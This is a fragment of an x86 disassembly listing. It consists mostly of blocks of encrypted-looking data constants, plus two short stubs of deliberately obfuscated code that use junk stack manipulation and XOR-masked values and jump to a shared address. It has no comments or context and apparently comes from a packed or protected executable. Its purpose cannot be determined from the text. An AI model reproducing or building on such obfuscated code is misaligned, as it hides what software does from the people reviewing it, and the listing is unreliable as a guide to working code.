		dd 11A9D74Dh, 16C91A4Dh, 0B1DF124Dh, 9341B1EDh,	16C91AD3h
		dd 0D50365DBh, 78A6D511h, 90E508AEh, 46A8D714h,	1C3540DDh
		dd 9E1C59C5h, 31E65267h, 93F55732h, 9DAC42F0h, 3CB216C9h
		dd 0A1411Fh, 7B810000h,	0C8EE654Ch, 0F08D34EFh,	4CEF5FB7h
		dd 326A9D9Eh, 8023991Ch, 23F3D451h, 0E4D05A5h, 89EBB5E3h
		dd 26C3EE2Dh, 3D70AA6Eh, 0CD003A20h, 0B5F8079Fh, 3B8A1320h
		dd 0FD306A3Ah, 0CB8B395Ah, 0D31320B5h, 0B5286E1Ch, 40B61320h
		dd 619A41DEh, 48F69909h, 19D0FA60h, 6F1D3E5Fh, 16D0F02Fh
		dd 450939AFh, 4516D0F0h, 0E1ABD908h, 0ADDC1989h, 56CCAE4Bh
		dd 4DE284B3h, 615DA333h, 0E0010CC4h, 0D0816C32h, 4BFC7216h
		dd 6D680A85h, 8C720FCCh, 0DF11F52h, 1A72DF96h, 735907AAh
		dd 0B71C201Ch, 6FF62441h, 5604A717h, 1C395576h,	541846BCh
		dd 0E4CAE71Ah, 0FAD477AAh, 305798B9h, 0E17931CEh, 81A6AF1h
		dd 0ACB1C4E7h, 396796D2h, 0B2ECD26Fh, 635627Fh,	52A76F56h
		dd 0B59B38D6h, 84A5487Bh, 183A90D6h, 0B9671E04h, 4183AF5h
		dd 842183F9h, 9ACD08CCh, 6411886Ch, 0E4920640h,	4183AA2h
		dd 62BAED28h, 876D8AECh, 0E1EC1A4Dh, 0CB92C7B2h, 2AE5F8Eh
		dd 7F5DFAF0h, 3, 0C233A1BFh, 692D5B82h,	0ACEFC2Fh, 0AE72A0CBh
		dd 5418466Dh, 0F9BDEB16h, 9E6290BBh, 3E023063h,	0E0A4D201h
		dd 864775A4h, 81E28952h, 4C2h, 4EA8300h, 8B241487h, 0EC812424h
		dd 4, 68243489h, 7B2h, 52241489h, 0AA02E7BAh, 1EA817Ah
		dd 8139FF04h, 710E70E2h, 81D2F72Eh, 6ACF8FF2h, 2EAC19Ah
		dd 0AABF281h, 0D6891C9Dh, 148B545Ah, 4C48124h, 68000000h
		dd 44C9h, 8F243489h, 34FF0842h,	0C4815A24h, 4, 5024348Bh
		dd 405E089h, 83000000h,	48704C0h, 0CCE95C24h, 80FFF935h
		dd 6BF0AAF9h, 0FCDCBD43h, 0D6047B61h, 0ABB826F4h, 305F049h
		dd 0C3E0FFC5h, 9774A070h, 75363935h, 9C303DEBh,	0AD572DE4h
		dd 0A91F0F20h, 7E519C89h, 0B12330EAh, 445ED142h, 3F7324E8h
		dd 0FE2EA2BAh, 5D296768h, 44376F2Eh, 0EB490D74h, 0C88E0704h
		dd 582E90Fh, 1410000h, 9BD7BDDAh, 2C694F6Ch, 0BFFAE0FDh
		dd 4B896F8Ch, 0E3FF0320h, 516E99D7h, 0E6032A6Bh, 7996C100h
		dd 9265993h, 0E9AD5B3Ch, 0F5133950h, 88C2BE9Ch,	25632755h
		dd 252886ABh, 55B781D1h, 6C9BD8B2h, 84228CFh, 42709FDBh
		dd 0DDE81678h, 65480EBCh, 0E05616C9h, 0F0235D43h, 93C2FEC2h
		dd 0AAD916F0h, 2C47550Dh, 0B9E71652h, 0D89E4CEFh, 0E616C965h
		dd 0D79ED370h, 466FAC86h, 4B79DB0Ah, 0BAE92581h, 3F25C28Ch
		dd 0CFB5D205h, 1B486590h, 0A5D30641h, 19583EDBh, 7C2A4BEEh
		dd 16C9653Ah, 1F5F0DC4h, 9F16C965h, 722AC729h, 18466DAEh
		dd 0ECB8BD34h, 7F6582ADh, 0D52CC345h, 0E418CFFh, 0A4F9BD6Bh
		dd 8F0516C9h, 5A67FF2Dh, 0DC16C9A4h, 2DF3B8BDh,	3740CF69h
		dd 53F0235Dh, 7432h, 0A17BF800h, 0A0A5EA60h, 0CA5A2A84h
		dd 0BF703A68h, 66152EB6h, 0A18724E3h, 0B7913467h, 1A5C0A7Ah
		dd 0A416C936h, 0D49ECC2Eh, 0A5E77F37h, 2916C936h, 0CD91BFEAh
		dd 6536648Fh, 0C9F1ADC8h, 30E0CBAAh, 3040CFFBh,	1, 5786C2F6h
		dd 0FA296529h, 15427D57h, 0A845A7DAh, 23B6E5F0h, 86B1EF69h
		dd 0D0BF8AD5h, 0DF124D33h, 0F580A3B1h, 274473AFh, 0B7D40741h
		dd 5F84C289h, 0BC02B024h, 4216C91Ah, 723C6ACCh,	1A5D21CFh
		dd 0EB6116C9h, 5B975B89h, 8BCAF732h, 6E9CFE60h,	4E561F7Eh
		dd 0E2C8E510h, 3C4775A8h, 7C8F2D0Dh, 0ED90690Ch, 0C9B87F3Fh
		dd 6C097F16h, 771A4986h, 4142948h, 0AA061866h, 0E79F3C6Fh
		dd 0ADFE7718h, 40CF86F3h, 500Dh, 84C2D300h, 2A672B59h
		dd 9CBFCDFBh, 688DCBD9h, 6D0FE29h, 63A187A4h, 71D3023Eh
		dd 11447F43h, 27314E3h,	0CFD5F7A9h, 480940h, 0C2CF0000h
		dd 246A1884h, 0AA16C91Ah, 99A4D234h, 1A84CA78h,	940A16C9h
		dd 0A7D211F7h, 0C3B20179h, 5B78A3E1h, 5786C22Dh, 7441E29h
		dd 2FE0AAD8h, 0CFA50006h, 5610AD35h, 16C9656Dh,	0E0CBAAC9h
		dd 40CFA830h, 130h, 85C2F600h, 2A642856h, 6EE5C9F7h, 31609D07h
		dd 0DDD85F8Eh, 0BEEFDC33h, 2C4D7A21h, 0B7E71652h, 16C952F7h
		dd 0ABE481F7h, 9240E353h, 1C31BD11h, 0DD1FF75h,	9D83A0D3h
		dd 6A023063h, 13207726h, 95D3ADF4h, 29E0B96Ah, 6A8C305Fh
		dd 80DD98CDh, 103E65A6h, 7DB0EA46h, 2E8854Fh, 927895C8h
		dd 33F72558h, 0A898C6F9h, 57312C49h, 83B6F11Ah,	8C298B55h
		dd 1C396CA6h, 265C933Dh, 15C8D45h, 25540000h, 0CD3C4CEDh
		dd 0D601800Bh, 0F10D434Ch, 6FC4F28Fh, 4073AD17h, 43E64812h
		dd 1A327422h, 46BC16C9h, 65CE7CA9h, 0C11C3209h,	1F591D4Bh
		dd 5785B8F2h, 0AE882B8Dh, 4D174570h, 0E92309B0h, 44F213B6h
		dd 13202B02h, 8465168Ch, 54DA9355h, 5F23DB78h, 0C4F225h
		dd 0A26694C3h, 25093766h, 4FD7C7AEh, 0E51F85F0h, 0EAB695B2h
		dd 6452675h, 4Dh, 0A6186FCCh, 19C15503h, 0DD4D16C9h, 6D1072A1h
		dd 0C642073Eh, 9431100Bh, 3A0244DCh, 4D8816C9h,	0EC28EC1Ah
		dd 28768FBDh, 705F217Bh, 2B4AC13Dh, 86D0A73h, 0DD80F249h
		dd 0C9A8BF2Fh, 5D9A7416h, 9936002Eh, 462441B7h,	9Eh, 0A7176F86h
		dd 14C2E304h, 16C91A52h, 8F49E65Ch, 1C321E8Ah, 24E8168Ch
		dd 6D9AB7EAh, 16D89E4Ch, 70E61320h, 80B3EDD3h, 306D4752h
		dd 5BAA6401h, 0E7132016h, 8DD17FA0h, 0C6132016h, 20165618h
		dd 8AE25813h, 33427714h, 61043771h, 0EE9E5F32h,	18B548C7h
		dd 70E03871h, 98D2ACCDh, 116D3765h, 520CA9D0h, 19D0D038h
		dd 967CB97Eh, 0D303A1CBh, 0B8F4CE71h, 7034EC89h, 9ECD0936h
		dd 72D40742h, 8CE96044h, 5AFD6DC5h, 201CDEACh, 0B361181Ch
		dd 13202CF3h, 802385FBh, 0A03D68A6h, 176FCBF9h,	48D504A7h
		dd 0E87ABF73h, 342BC5D1h, 0F85A80BAh, 0D00D7D47h, 27C48B98h
		dd 0EC3E4CFAh, 0C2D1C39h, 99C9F432h, 1339DCD5h,	116998D5h
		dd 0DBE90A4Ch, 0D7395E1Bh, 0B4E2583Ah, 73AE88A9h, 18481240h
		dd 1339C256h, 0B3F3A158h, 3B1339C2h, 0E0C663C5h, 705673A6h
		dd 0CAD50336h, 6691CFA9h, 39C27036h, 0AC087E13h, 0EAA44170h
		dd 14F0337Fh, 6694C3FFh, 73568A2h, 0D86171EEh, 0AB338069h
		dd 0CF75294Ch, 0A1E593B4h, 2D190112h, 90E51AB7h, 8BB2F3CDh
		dd 9BCE08EEh, 0B6DD1EF8h, 7A21BE88h, 0F12D5A94h, 2C5A8DC8h
		dd 709E0062h, 103E71ACh, 0E4C0B52Ch, 2D5A77AAh
		dd 0BAE81753h, 12BB3FF0h, 0FC77112h, 1F528C72h,	835F1h
		dd 7B750000h, 9A3762A1h, 82C22593h, 2F692D5Bh, 0CB0ACEFCh
		dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h,	13E0230h
		dd 0A4E0A4D2h, 51864775h, 0C181E189h, 4, 8704E983h, 895C240Ch
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	5ACCh
		mov	[esp], esi
		push	edx
		mov	edx, 2FF46630h
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		inc	edx
		shl	edx, 4
		sub	edx, 40A5462Ch
		xor	edx, 0C5E41C55h
		mov	ebx, edx
		pop	edx
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	edi
		mov	edi, 6366A56h
		xor	[esp+4], edi
		pop	edi
		pop	dword ptr [esi+8]
		xor	dword ptr [esi+8], 6366A56h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5461C3
; ---------------------------------------------------------------------------
		db 0B3h
		dd 0A3AB398Dh, 74519526h, 0F04F7AB8h, 0FFC50305h, 0C5CF35E0h
		dd 9F77CF43h, 4697D132h, 34949863h, 2BF7F663h, 0D2085368h
		dd 0F4B2E06Ch, 619C4516h, 0BAA44C28h, 4E17C3Dh,	7F2B061Ch
		dd 0EDA72C34h, 0DF3E0358h, 8C157744h, 0C0BF8160h, 0A98D9155h
		dd 0DA1D5142h, 0EE34B83Fh, 7EA3C263h, 0EAA09F37h, 718D8D75h
		dd 6A05F051h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 6119C355h, 8ED385EEh, 8D89F81Ch
		dd 5E92655h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0B8C35646h, 0D52C608Dh,	810F86B8h, 6, 2DB5B589h
		dd 85C705E9h, 5E90805h,	6784h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0A7C35141h,	5292D895h, 123D9BCDh
		dd 11958996h, 305E923h,	0E93201BDh, 3D85C705h, 5E916h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0F598C357h, 321DB5FFh,	6A05E9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 290B61C3h, 0BC595FFh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0B27F39C3h, 1958BD2h
		dd 6A05E907h, 9595FF00h, 8B05E91Eh, 270EEBC0h, 684C1124h
		dd 0A6BA44B6h, 95463E8Ch, 0B04EB71h, 0E951CE73h, 5C3h
		dd 0AFCCF333h, 415E8DC9h, 0D2EF1E5Bh, 617EB1ECh, 0F5123D7Bh
		dd 8BC9F1F1h, 1C5D4360h, 0B3F2D8F5h, 4B856B88h,	4D2EFB18h
		dd 394BDF9Fh, 0A886DF13h, 275588C2h, 0F4AB2563h, 825B5756h
		dd 6D9BCA07h, 0C2DF41A3h, 416FA2DCh, 0E210437Dh, 10B3E21Eh
		dd 18C9FC36h, 60EFD99Eh, 0C57D1AE8h, 3C48C201h,	71391111h
		dd 2E4775D7h, 349F770Eh, 508AE654h, 2877EF1Dh, 90AB514Dh
		dd 0AD4A79B6h, 6DA7FD78h, 0F8371D3Ah, 5B092ACDh, 16C9941Bh
		dd 0E9902DA3h, 6B99C403h, 113F66A7h, 0C39DBE2Dh, 632D5B82h
		dd 0C9947333h, 0D00B7B16h, 43A56F9Dh, 590471A6h, 0E412457Fh
		dd 58977D1Ah, 0F02A102Dh, 9488CE7Ch, 0A01616C9h, 4B78103Eh
		dd 0EB16C994h, 5E02A9CCh, 5240CF59h, 9Bh, 0D5003F19h, 88C20A38h
		dd 0ED1C2755h, 0BD8C77BDh, 8C25F1Eh, 16C98244h,	0AEE8094Ah
		dd 21834D7Bh, 8B14DAF3h, 0D112CBF5h, 0D9073A75h, 0A7F77EF5h
		dd 9615607Fh, 40CFC2CAh, 17E6h,	5D8CAD00h, 0FD7B318Ch
		dd 2F6F9FB8h, 0AF16C96Ch, 0A5D3023Fh, 0AEDC79DBh, 295786C2h
		dd 9185EF1Eh, 399153A8h, 4B7AB69Ch, 0EB1E591Dh,	8CBFF9BDh
		dd 2D609A5Eh, 46F4FFh, 8E16C945h, 50259C18h, 0BBE91854h
		dd 0C6E98FF1h, 8AB9F5AFh, 1A4D876Dh, 1AFD0FDh, 16C945BDh
		dd 79D1003Dh, 0C2386603h, 95320A84h, 73C9D193h,	0E31FE311h
		dd 379686B4h, 4F01F3Eh,	210A2942h, 27654BE8h, 0BFF9DFFCh
		dd 81245792h, 0C99C93D3h, 43A51B16h, 0F5300A15h, 0F85A8DC8h
		dd 9DC806CAh, 7BB89E3Bh, 0AE4F1E4Ch, 532CE4C7h,	814440CFh
		dd 0A000000h, 2B5984C2h, 0C6012A67h, 399B6593h,	0D90C470Bh
		dd 7CABE7ABh, 8AB8DF20h, 643A3B9Ah, 8DC9A3BEh, 0E98CC15Eh
		dd 35527DBBh, 0B8E6114Fh, 18297EADh, 0A7D9F520h, 0BCE9240Ah
		dd 0EA155481h, 2E905A88h, 0D4013C00h, 733D6B96h, 0E41FE311h
		dd 0BC0B83B1h, 0DD7EE5B9h, 0C65D1398h, 517340CFh, 39000000h
		dd 0B65984C2h, 45739EDCh, 1B26DE7Bh, 24B201ECh,	59F6D416h
		dd 0DB093473h, 43611463h, 8FBDDA05h, 3467A17Bh,	4675B197h
		dd 1A438018h, 7EBF16C9h, 701E2957h, 16C91A2Eh, 0A4DE3AB0h
		dd 0E85F4371h, 0CAE9118Dh, 0D75000ABh, 15040CFh, 16000000h
		dd 285685C2h, 54F72A64h, 74113C7Ah, 1461D8BCh, 81245390h
		dd 9D3A6DA7h, 0F565BDF6h, 0F53FA452h, 90471C31h, 203F9CE2h
		dd 0FBAC2213h, 6B1A9E2Bh, 99C729EAh, 79279BD5h,	13205935h
		dd 0C4E143B9h, 4371A4DEh, 0F41F5E38h, 65A0FCC6h, 99DB9532h
		dd 69132059h, 0F495B1Ah, 9FD9BFDCh, 407A3E6Ch, 90EFDF0Dh
		dd 5285BFE5h, 948A5635h, 9FA64526h, 6C000001h, 0EAAC5A7Bh
		dd 0F416C91Ah, 0B5E8227Eh, 1787DF18h, 96DC674h,	49B91C32h
		dd 4681DD0Ch, 0ED0EB113h, 202B7F3Fh, 6C097F13h,	707AA9B4h
		dd 9572D1FAh, 538D7310h, 7FC0E926h, 0FE602A58h,	5F997F9Ch
		dd 3AFE2Ch, 50AF9FCDh, 12457F25h, 0D84A16F5h, 8C664526h
		dd 2C000000h, 0B765186Fh, 16C91AF7h, 7C1F81F7h,	0C91958CEh
		dd 4270E616h, 0C91AE4AAh, 80A9E616h, 87B51742h,	275588C3h
		dd 0B4A9CC43h, 0C91A4006h, 76D84E16h, 3749780Dh, 0FD8316B5h
		dd 0B6F8A649h, 3816C921h, 85F025C2h, 0CF0975CCh, 68973A9Ch
		dd 8BEC8951h, 1F4CE9B5h, 0C9EBFD71h, 0FC073616h, 0AD0D4FA0h
		dd 3AB0922Fh, 0A7557697h, 16C990E7h, 7D4171E7h,	8116C990h
		dd 0E9C76E0Bh, 0CAh, 0E611502Ah, 2E729FB8h, 3E8810D9h
		dd 7B113FDCh, 1AEAAC5Ah, 7EF416C9h, 92622CDh, 3BD8843Ah
		dd 973AAA02h, 38824A68h, 8E1BCCFBh, 82AF4C94h, 320ED7D4h
		dd 46E95F1Ch, 0A7032E6Ch, 430D3B6Ah, 0C2E3EEA6h, 20065214h
		dd 49E65C13h, 0D9F62963h, 4F8CB9F3h, 0EC1BBE20h, 79AF4F9Eh
		dd 0CE862388h, 0B2F4A2C3h, 3C132018h, 906F29C6h, 22132018h
		dd 99C001DBh, 0F6AEC7FCh, 336C89BCh, 3A7C2ADBh,	0C4132018h
		dd 9B49EC4Eh, 19D06B5Dh, 0D205401Ah, 68E4D921h,	44E1D1BBh
		dd 0B3BEEC62h, 771E9CD9h, 0EA14D62Ch, 0DAA4D234h, 0EA1D573Dh
		dd 1461D8BCh, 0C0346F49h, 0D03C4C12h, 7ADC5216h, 0DC4CA4DDh
		dd 4F4D8B39h, 0DF551C20h, 176F94C2h, 0EC2A04A7h, 49F724C1h
		dd 1C396983h, 5708DBCh,	6C6D2ED7h, 8A5D410h, 63AC6126h
		dd 69372B7Bh, 0DB15D907h, 6BA58BA8h, 68720A38h,	0A0CEF276h
		dd 72ACF87Dh, 0C6F5223Fh, 0AD1F5DCEh, 1ECC6FE2h, 47075C58h
		dd 6D53F066h, 0ED20033h, 8E72A0D3h, 0C465E17h, 5DC80C8Ah
		dd 670A544Ch, 7B9F5B9h,	2183F947h, 0B1E41E04h, 0A9577883h
		dd 4707B9E5h, 0F8D673E9h, 0Ch, 534A138h, 0C4F9D2A2h, 735D2A3h
		dd 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh,	0BDEB1654h
		dd 6290BBF9h, 230639Eh,	0A4D2013Eh, 4775A4E0h, 4EC8386h
		dd 89240489h, 405E0h, 0E8830000h, 24048704h, 0E789575Ch
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 68243C89h,	85Dh, 51240C89h
		dd 518FB850h, 0C18905F0h, 59CF8958h, 6C3868h, 24248900h
		dd 4240481h, 59000000h,	24048157h, 2DA935EDh, 5008418Fh
		dd 492705B8h, 66254059h, 35337910h, 0B686E01h, 0F029DF25h
		dd 0F21A2D6Eh, 4129DC76h, 34FF5808h, 0C4815924h, 4, 5F2434FFh
		dd 4C481h, 0A8E90000h, 0EBFFF928h, 0B856E10Fh, 5F056BCh
		dd 0E0FFC503h, 0DA41E94h, 2411B6Eh, 5A9D4F8Ch, 0B5A9BC6h
		dd 40A4C10Ah, 0A43E3F4h, 6A6DAF3Ah, 54AA9F38h, 17CED233h
		dd 3F7903F1h, 28662448h, 163E2839h, 1F611C58h, 7D40F6B7h
		dd 3D55AA4h, 3BF83590h,	4EAEC62Fh, 65532640h, 5A4F7A83h
		dd 28627A98h, 8FFE9E8h,	45AC54A5h, 500D323Ah, 0D4448EFh
		dd 77B3690h, 32A629C0h,	884004EBh, 0A5E9448Ah, 0F4000005h
		dd 8A708DB4h, 1C021F4Eh, 0AD93B0DFh, 3C223F72h,	0B2B6D3FEh
		dd 214C8A30h, 0B6DD1E04h, 4974B399h, 0D90C462Ch, 600EEFBCh
		dd 13394D1Eh
		dd 0C26947A0h, 91B25588h, 0C91AA3E3h, 0BAED2716h, 974FEC62h
		dd 0C76A95D3h, 5583AEEDh, 6147EE8Bh, 0BBC6F427h, 4876A5E1h
		dd 1ACF8F3Dh, 59CF16C9h, 335A9BF7h, 0B89E3B05h,	0AC6CFC7Eh
		dd 387154E1h, 0D39DCBFEh, 1DE10F71h, 7684B2E1h,	48822253h
		dd 0AACBF815h, 0C9ADBAFCh, 31CE4416h, 0C4E10C4Bh, 547FBD97h
		dd 0D9BF5C26h, 36416F9Ah, 11E7BA07h, 0F9962FF8h, 70B1D213h
		dd 7552D4FAh, 0A6087582h, 0BB321644h, 5374A3BAh, 280CE2C2h
		dd 0B01EEA1Dh, 0FBD2A1FFh, 1439785Eh, 446BACD9h, 0BCEA4C16h
		dd 14303B1h, 0D54B16C9h, 0EF41173h, 0DB73A1D4h,	16C901E6h
		dd 80AEE11Ch, 235180BCh, 1B83F215h, 0AA1D4F3h, 40CFCC46h
		dd 3F7F2D4Eh, 0BF16C915h, 618BAC49h, 51000000h,	275588C2h
		dd 0C91ACD8Fh, 8FE60516h, 0CFD7741Ch, 48866040h, 8825EF1Dh
		dd 167h, 86C22D00h, 0FD1E2957h,	0C91A0F4Fh, 7C198F16h
		dd 0FD2B5A96h, 61D718F2h, 0B100B01h, 214FB1E2h,	3E266816h
		dd 32A816C9h, 124D33D0h, 88A3B1DFh, 3EF5B967h, 83F916C9h
		dd 0E0C4B1E6h, 725875A4h, 0BAE80538h, 2B5984C2h, 0DA094620h
		dd 0EC1B573Dh, 8DC0FABEh, 2E619B5Fh, 0E3922F00h, 0BBDC33BBh
		dd 0C91A490Dh, 7DD8FC16h, 1854626Dh, 0F9A74AC0h, 16C9C9B5h
		dd 0F126C339h, 0B7E22084h, 477AB49Ah, 0E9185519h, 37772546h
		dd 0B716C9C9h, 28ECA441h, 5984C2EBh, 0CB05C9F7h, 1B7A6A98h
		dd 44DD445Ah, 0C9374C15h, 0C9EA5B1Bh, 3CED6316h, 0CA93DEBh
		dd 530D9ED7h, 6D40CF22h, 69h, 1AC0534h,	0BC02DEFBh, 84C2F11Fh
		dd 2A672B59h, 447E58FBh, 0AEBC7411h, 7CBAEA8Bh,	104E3451h
		dd 8F3DB1EBh, 16C91ACFh, 0C9F759CFh, 0AB6F9DFFh, 400F3D70h
		dd 1BD5D69Fh, 2940CFD5h, 52F0F3FAh, 6C1A603Dh, 0E936DF2Ah
		dd 3FDC3EB4h, 4A1Eh, 0CD0BE500h, 0DAA74A2h, 5984C2DFh
		dd 0FD28672Bh, 6D0857CFh, 0B1CEF937h, 5786C283h, 1AB09129h
		dd 93D216C9h, 3B763A68h, 0DC16DA08h, 0BB17BA9h,	0E9118DE8h
		dd 5000ABCAh, 4440CFD7h, 0EE317523h, 47BDE936h,	189AAh
		dd 7B4F0000h, 5876F54Ch, 0B5B2485Bh, 9FA253EFh,	0F5132E99h
		dd 0B6D4E6BAh, 94D1B754h, 0F3A1C265h, 16C948B3h, 7028C53Bh
		dd 0A4572ACh, 0A4E5A9D7h, 8BB91B7Dh, 2D5B8AC7h,	0D1FF2A69h
		dd 9FFF76EDh, 94C9AC23h, 31589973h, 45093903h, 4916C948h
		dd 135036D3h, 2D6741E4h, 6502CCFAh, 7DB791BEh, 0B5521C4Ah
		dd 11B4247Ch, 31A7FE63h, 6492081Ch, 44F266A0h, 13206D02h
		dd 97B4168Ch, 164477B1h, 7A3CEA0Bh, 8413206Dh, 0F5B7710Eh
		dd 4513206Dh, 0EB257FF6h, 7BB59BB8h, 0EE23FF9h,	590AFA52h
		dd 3D833B84h, 4F7DDF31h, 0F01E518Bh, 0D0D4A100h, 67466396h
		dd 452624B9h, 0FEB7h, 176F7D00h, 9E304A7h, 2D71A1C8h, 0B116C91Ah
		dd 0C3719E3Bh, 1C32096Eh, 501442B8h, 0E0C6E316h, 814573A6h
		dd 0F6E61447h, 8CC6DE97h, 0B35D3C59h, 0AD4526E6h, 49h
		dd 65186F73h, 0C91AF7B7h, 1F81F716h, 1958CE7Ch,	70E616C9h
		dd 1AE4AA42h, 3CD916C9h, 4FC11839h, 1698D2ACh, 0F304E4B5h
		dd 12F9116h, 0BF6D9A37h, 16C9792Fh, 5285BF2Fh, 0DBF85A24h
		dd 86FDh, 29643E00h, 61FEC8F6h,	0AD176F33h, 4A144271h
		dd 929745E8h, 591C321Eh, 647AF72Ah, 20A6F0B6h, 0D788FE13h
		dd 0E5824ED8h, 9B5F8D03h, 2B112E61h, 0F890BEF1h, 1320F209h
		dd 792B4A99h, 0A5D8123Fh, 0A84BAD77h, 0F295D987h, 0A3191320h
		dd 0F20C5200h, 1C921320h, 479FD87Fh, 818634D7h,	8D19D08Bh
		dd 0EB25E917h, 2FA68AB8h, 43B30B46h, 5E85C6A0h,	22D6C30h
		dd 28D603A0h, 1C20DC27h, 340EB127h, 0D49ECCF3h,	7B629037h
		dd 0B284534Ch, 78024BB3h, 0D9671871h, 0ED26C304h, 61822595h
		dd 0C9DBF3B3h, 0BC02B016h, 4216C9DBh, 61FE74CCh, 0A2818634h
		dd 178D1C39h, 0B8EB25E9h, 0CE013B15h, 0A7E795A0h, 2713398Ch
		dd 0BB24FB1h, 8AB8EB25h, 4E7344F2h, 5C193CD2h, 0BEDB0E48h
		dd 0FCC27091h, 2524359h, 0CF09EF8Ch, 6FAA6E9Ch,	59094DFBh
		dd 1F955243h, 4BF91ABDh, 5243590Bh, 0CF274E8Fh,	59246A18h
		dd 34AA5243h, 997D35D2h, 17515322h, 0A7E1C7E4h,	0C3B4674h
		dd 1FB79C56h, 8260FDEEh, 3, 0C233A1C2h,	692D5B82h, 0ACEFC2Fh
		dd 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh, 3E023063h
		dd 0E0A4D201h, 864775A4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		push	691960A0h
		pop	esi
		or	esi, 23F08C3h
		add	esi, 9AB0EEEBh
		push	esi
		xor	dword ptr [esp], 0CAF107Ah
		pop	ebx
		xor	ebx, 0CAF107Ah
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		push	edi
		mov	edi, 2D726169h
		xor	[esp+4], edi
		pop	edi
		pop	dword ptr [edi+8]
		xor	dword ptr [edi+8], 2D726169h
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5461C3
; ---------------------------------------------------------------------------
		db 0CBh, 0FEh, 31h
		dd 0F05CBFB8h, 0FFC50305h, 8127AFE0h, 63DA3C6Eh, 83DDB036h
		dd 0AA8BC27Bh, 95586717h, 5AC2CC77h, 3BADB046h,	1FFBB252h
		dd 0BAC2CD02h, 21FB7B6Eh, 0E5EA2071h, 0FF7AE356h, 0CFE0E25Ch
		dd 0B5039C7Ch, 0C21D906Bh, 737E9734h, 626B879h,	7D395868h
		dd 0F62D6C44h, 92A85555h, 0BF2F374Dh, 0DC344A75h, 52F42344h
		dd 89438174h, 6C998578h, 0A414BC66h, 2D7C9134h,	0B18AC61Fh
		dd 818D8D13h, 6A05F05Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0BF3AC351h,	7A092E72h
		dd 12699509h, 8D8905E9h, 5E92655h, 6800Fh, 9D890000h, 5E91745h
		dd 80585C7h, 5D4805E9h,	8A0F0000h, 3, 0C7F28B66h, 0E9163D85h
		dd 5, 39953300h, 0FF05E90Fh, 0E92355B5h, 0E7816605h, 95FFA36Dh
		dd 5E90BC5h, 0FE8h, 0DCFF6C00h,	19CDD826h, 859448E6h, 0A1962311h
		dd 2AB5B531h, 6A5E05E9h, 9595FF00h, 8B05E91Eh, 0D15AEBC0h
		dd 3C288310h, 4E8B917Bh, 1F1FBFCDh, 0F85BB1BFh,	36A7C4B7h
		dd 606440BAh, 0BA63065Dh, 47EE13EBh, 27388ED7h,	0B192F1FDh
		dd 0F6DE0A50h, 38F3F449h, 62F659D2h, 979B6F22h,	4BAFCA1Dh
		dd 0D14FD334h, 4DE6C418h, 0C1EB8036h, 23544725h, 70E2AF2Bh
		dd 9C5C2761h, 0D13D28CAh, 3C04EB9Eh, 0E9134D63h, 50Ch
		dd 537097D7h, 0E502316Dh, 7693C2FFh, 5225590h, 99B6E11Fh
		dd 27654D95h, 0B8F9DFFCh, 4F8E7491h, 0E7210724h, 0E9CA97B4h
		dd 39447B3Bh, 4D2A8313h, 0D8063973h, 4873B20Eh,	85B3501Ah
		dd 275588C2h, 0DDFA2563h, 0E78ABDF7h, 1A5618C6h, 0E25816C9h
		dd 8FC98D45h, 2E6A2E5Ch, 0A8C3D1FFh, 446FAD87h,	0C91A5214h
		dd 49E65C16h, 9436114h,	770433D6h, 4258C6FCh, 0ACD91DB1h
		dd 0E2447650h, 79B89E45h, 85E71A54h, 9FCA08E2h,	630AA771h
		dd 0E5133E7Dh, 8BB9E021h, 184530A7h, 0D80549F7h, 198916C9h
		dd 0B14EB0DBh, 44618CCBh, 4EF1245Eh, 0D83F7F2Dh, 49BF16C9h
		dd 675CF4ACh, 0CF16C9D8h, 3AE6C5B0h, 3640CF15h,	5Fh, 5588C2FCh
		dd 7097D8B2h, 23DB7842h, 0C91AC98Bh, 93E20116h,	0CFD74818h
		dd 16840h, 0C22E0000h, 65295786h, 963BAB29h, 5492A48Ah
		dd 287995A3h, 30920BEAh, 55CE5E8Dh, 1BC6013Fh, 0E1BBC67Eh
		dd 0F3D976A5h, 495785B8h, 19554F26h, 0ADE7CDEAh, 40B7582Bh
		dd 0DAA4D205h, 0F1910329h, 0C244728Fh, 0B48E0A84h, 0B4157DFh
		dd 0D93B9DD0h, 7CABE7ABh, 76FF5E4Eh, 0A8C5F02Eh, 275588C2h
		dd 0BCFD2663h, 3B9D6795h, 0D89D3E0Dh, 426DAB85h, 20AC6A5h
